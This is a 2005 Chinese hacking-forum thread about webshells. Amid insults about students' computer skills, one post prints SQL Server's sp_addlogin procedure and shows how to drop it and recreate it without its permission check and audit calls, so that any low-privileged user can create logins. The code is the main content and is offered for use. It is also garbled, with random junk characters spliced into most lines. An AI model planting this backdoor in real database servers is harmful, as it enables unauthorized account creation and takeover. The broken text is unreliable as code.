[原创]webshell篇

就凭你？
  k" p' b; ?% c1 b2 @: Z有资格这样评价师院学生的计算机水平？？
: c3 p$ R8 c1 X) q5 x8 O用这种口气诋毁别人！
鄙视你

% j! w4 M- F1 \( R' U4 M

[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言：[/B][BR]限
9 q+ L$ Q0 F' f0 W这个定义未免太烂了吧，我想知道你用什么方法获得人家的webshell，靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然，那你凭什么教人家怎么去研究
对于师院人士的计算机水平，我实在不敢恭维，没有天才的诞生啊
$ R9 ]+ V' w* ?4 t! B0 i哎，可悲啊

就是就是。。

0 V7 C* o7 E! L' b

[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言：[/B][BR]对一个深陷迷途的同志，各位大虾用得着这样蔑视它吗，我们应当怀着一颗仁慈的心来拯救它，爱护它，我KAO，JB

[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
2 K6 b9 F) h) y, ]( Z7 |* p,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
& N& x9 F% \% H$ J: o: M,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
+ Q/ [) ~) I6 ]$ ~/ g,@encryptopt varchar(20) = Null
AS
5 E: D, q' B' F6 m, P0 N. k-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
2 J( g3 f% ?; j4 Yset nocount on
Declare @ret   int   -- return value of sp call
-- CHECK PERMISSIONS --
* ?' b' o+ r' h% ^IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
- H+ O; a# j. a; z; ]3 Yraiserror(15247,-1,-1)
1 f& W9 g  _( A; U) k! w  ureturn (1)
+ M; W8 E" D  d# G" R" Pend
8 T) j9 F, d; f4 TELSE
begin
* t) M' j* a# @( \- P" e; idbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
0 B/ N" _' ]7 {2 m7 nbegin
raiserror(15002,-1,-1,\'sp_addlogin\')
( h& c9 M+ j: a5 y0 Vreturn (1)
( P# b6 [- u0 hend
-- VALIDATE LOGIN NAME AS:
6 h+ r! v5 o$ _- i) z* }-- (1) Valid SQL Name (SQL LOGIN)
* @9 n* W( t! T3 E- ^5 R) H1 _-- (2) No backslash (NT users only)
$ v; O  S: J- H' o! d7 i-- (3) Not a reserved login name
# a- h% y9 u* U4 @: U# x/ gexecute @ret = sp_validname @loginame
3 z3 A& c. o' |" M' Rif (@ret <> 0)
  return (1)
if (charindex(\'\\\', @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
: e' @' P: E  V" T0 c& v  return (1)
; d5 g, S( U4 C" v! j$ pend
3 R" A1 W  C9 j9 Z--Note: different case sa is allowed.
. ?2 q$ \8 B: z( J) cif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
. W7 O  \8 c7 k' \8 O) lbegin
3 T! w. _+ i9 ^, \7 @: y3 craiserror(15405, -1 ,-1, @loginame)
return (1)
end
; K; d, D* H- {2 f-- LOGIN NAME MUST NOT ALREADY EXIST --
! f& D: r; Y) m7 d# `; b- Tif exists(select * from master.dbo.syslogins where loginname =
@loginame)
# a/ E% r" R% y* Z' V: m: vbegin
  c- c; j8 V" [& [6 G7 U% uraiserror(15025,-1,-1,@loginame)
  B! a/ W4 K& Ureturn (1)
+ H; Q" Q2 W& p/ k# _* P- Z, yend
' r! N6 \5 u  o' a- y3 \) p2 _' o& u-- VALIDATE DEFAULT DATABASE --
& `; _4 q& ~: \4 ~/ nIF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
$ |: |" ~1 ?& ^4 ?! Z' @return (1)
! R5 S' ^. ]1 z- i5 Eend
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
3 \  c2 r( ~% d$ eExecute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
& t6 y  }5 w2 \" V. `% Wreturn (1)
3 r* Z2 d/ `  o8 M$ @; Z5 y5 Nend
9 M& P) ]' u7 \) l4 iELSE
begin
0 D: w: m$ @8 x( N$ M+ j0 q; z8 _! ]select @deflanguage = name from master.dbo.syslanguages
* @. P" Y: ?& g6 V9 A& W: zwhere langid = @@default_langid --server default
( W0 l+ J% V* i! `# r1 elanguage
if @deflanguage is null
select @deflanguage = N\'us_english\'
, j9 O: L1 @6 ?# `1 qend
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
& e9 ?; I4 v: W" Z# C; kend
else if @sid is null
2 S3 h6 m8 Q8 F  u) U) V1 Tselect @sid = newid()
if (suser_sname(@sid) IS NOT Null)
0 g! `) ~/ |8 wbegin
  T  P! C$ R; L* O1 c4 j& R* Jraiserror(15433,-1,-1)
) Z9 I, ?7 J% N" }2 W& |1 Mreturn (1)
5 e) V! ^: a* J: j2 l; dend
-- VALIDATE AND USE ENCRYPTION OPTION --
6 R# G' r, S5 @8 W* Fdeclare @xstatus smallint
0 N6 f# k# V8 ?  Lselect @xstatus = 2 -- access
1 A+ Y1 H2 t' W: i& G4 t- R0 Lif @encryptopt is null
0 c& y9 v) l8 b3 e" ?/ L! [select @passwd = pwdencrypt(@passwd)
: ^  c* t3 N  F, Q) Z' \else if @encryptopt = \'skip_encryption_old\'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
% L7 ~% s+ k9 l8 g) x(30), convert(varchar(30), @passwd)))
end
8 g6 s$ L* n+ Uelse if @encryptopt <> \'skip_encryption\'
begin
% L2 m$ p, d, y5 c4 _raiserror(15600,-1,-1,\'sp_addlogin\')
return 1
& p3 b2 g" `) `2 h& E: Z" y3 I% d( qend
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
* H& C8 f$ V! }+ ?* T    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
" u) q  S1 k. z* F1 Y  }1 s0 P5 V0 O  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
! v# R& j0 `- C& b- n* \SYSLOGINS CHANGE --
exec(\'use master grant all to null\')
& U9 l$ C1 I) V5 a* S3 t; }-- FINALIZATION: RETURN SUCCESS/FAILURE --
: L% V8 T( P! _4 ^raiserror(15298,-1,-1)
- }4 V4 M9 P* I( ]4 F) D6 |* ereturn (0) -- sp_addlogin
GO
% C7 p, ?& t/ ~. w之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin，主要是这里一段再搞鬼
' T, Y) M$ ^2 B# t) T-- CHECK PERMISSIONS --
/ U0 E' ]# ]# X2 S( C3 uIF (not is_srvrolemember(\'securityadmin\') = 1)
begin
) d0 m7 w4 }; Q. q  p2 zdbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
9 n3 l$ k8 W! i0 a$ I& x2 kraiserror(15247,-1,-1)
return (1)
end
# ?- R5 h; F2 bELSE
4 X7 V, V+ f+ s8 u9 w9 R5 U8 Mbegin
" x( i* h; K2 v4 j! [' _+ kdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
5 Y/ f  K& n# s4 B5 K" Uend

只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
, M& K. z8 w: s: [  m2 Ndrop procedure sp_addlogin



, K) I+ X' R* N8 f! P然后再来恢复sp_addlogin
; F- U" V2 N% n2 R+ u; B


create procedure sp_addlogin
@loginame sysname
* x% j' p( u1 A/ |4 ~,@passwd     sysname = Null
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
# G) x5 x! ]" g: {: Y. H,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
* L" H$ m9 l# O0 w: }0 g1 D- `AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
' B1 S2 ?& N- e; ?set nocount on
4 J& {4 ~" O: v5 e5 DDeclare @ret   int   -- return value of sp call
- A) m  y+ W* v/ B5 r: E
- A* u+ u; x8 s5 h6 \-- DISALLOW USER TRANSACTION --
' M+ h' y! P/ G8 f: ~set implicit_transactions off
- q- c3 k& {* A7 nIF (@@trancount > 0)
begin
raiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
1 X# X$ G3 A+ ]  b-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
7 e. M6 d" W  z  k$ q$ s& S  return (1)
: c" i1 S, l7 U7 f( W3 u# kif (charindex(\'\\\', @loginame) > 0)
begin
# f3 _1 _  g9 b% X/ @0 D  q5 O  raiserror(15006,-1,-1,@loginame)
0 Q4 z% \; G. _+ W- n; Z) G  return (1)
: N8 `, N  }0 _8 F+ l" \end
--Note: different case sa is allowed.
7 W* B* ]- g/ f; h; x1 O8 Fif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
3 k' u) ?$ ?. R6 a- l/ D6 yraiserror(15405, -1 ,-1, @loginame)
% v' w* ~# K  f5 O' R! B7 |return (1)
end
* R& V  a, x" P2 q+ Z-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
7 t+ Q, r8 o: O! oend
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
- }  o+ b; [3 V) k) o1 Treturn (1)
  u, |( ?4 S' S: p* k% \5 ]) rend
-- VALIDATE DEFAULT LANGUAGE --
) n' I( |  W8 a7 B' f+ SIF (@deflanguage IS NOT Null)
# p# h; M# x) d$ |8 Fbegin
Execute @ret = sp_validlang @deflanguage
/ g) Q% _* Z; x$ P* [  |- D4 J$ z" CIF (@ret <> 0)
return (1)
end
1 Q  ~3 s  U8 c+ \* |ELSE
3 x$ ?3 m, W, J6 Rbegin
select @deflanguage = name from master.dbo.syslanguages
- o' |/ p" ?+ J+ e9 t' zwhere langid = @@default_langid --server default
% s* ?* V/ ^3 h) e1 zlanguage
if @deflanguage is null
, A3 m$ m- q; J3 B4 Eselect @deflanguage = N\'us_english\'
end
' z6 K4 y! D0 o/ Z1 Q& J-- VALIDATE SID IF GIVEN --
, o! x4 w6 B; P! [3 x: @, mif ((@sid IS NOT Null) and (datalength(@sid) <> 16))
9 n9 H, t" d6 f. i8 M( Qbegin
2 P$ m5 |; Z5 Z  @0 nraiserror(15419,-1,-1)
1 D. q* g3 Q6 b) x% Rreturn (1)
end
else if @sid is null
( {+ M+ ?& r0 {" p; h5 vselect @sid = newid()
if (suser_sname(@sid) IS NOT Null)
! X1 B2 F# s* P4 L+ K/ T- y4 m% ^0 Fbegin
raiserror(15433,-1,-1)
4 O; R$ n0 j( d7 G' A" M7 Rreturn (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
) O# G' \! d' }' I$ F. sselect @xstatus = 2 -- access
: R* l/ [5 f. h" _( i, x- qif @encryptopt is null
- S1 z4 G9 s2 A5 I, {8 c6 ^select @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
' L) |5 U5 e& f- Z, y& ^$ ]' T* Ubegin
select @xstatus = @xstatus | 0x800, -- old-style
3 q5 q. X; C- B* b3 u) Jencryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
0 ~% r) @; n, g) `( N, [else if @encryptopt <> \'skip_encryption\'
! B% F5 Y# P; z+ d+ Q0 {begin
0 C, D  u' R6 J( t/ Yraiserror(15600,-1,-1,\'sp_addlogin\')
return 1
7 t: C# E# u$ T! t0 bend
: T5 W4 z  @6 J8 m( C. D# Y: d-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
( M2 i9 U' z. A) E' ?3 Q3 R    getdate(), @loginame, convert(varbinary(256), @passwd),
+ ]" y. Q3 |, c5 o; {% m, o. o- o4 r    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
, Q& I+ L) p! T, b! }  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
9 L; x. {3 W" vSYSLOGINS CHANGE --
! @) k6 `" Q; m9 r/ cexec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
# [1 Q& F' v1 p" fraiserror(15298,-1,-1)
0 t" h9 H! T( G  M' t# k& ureturn (0) -- sp_addlogin
6 H' [- M( a3 p$ nGO

9 g  i9 h" X" F8 @4 vMM很强啊..    是不是师院计算机系的.??

就当凭着这美丽的回帖..  
偶帮你加精了..

我不是计算机系的。
自己学的。

[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言：[/B][BR]

* D& y6 y+ @/ Y- T, PMM很强啊..    是不是师院计算机系的.??

晕..  不是吧.. 自学的?...

我不是计算机系的！！！

...晕...在这里讨论还要别人给QB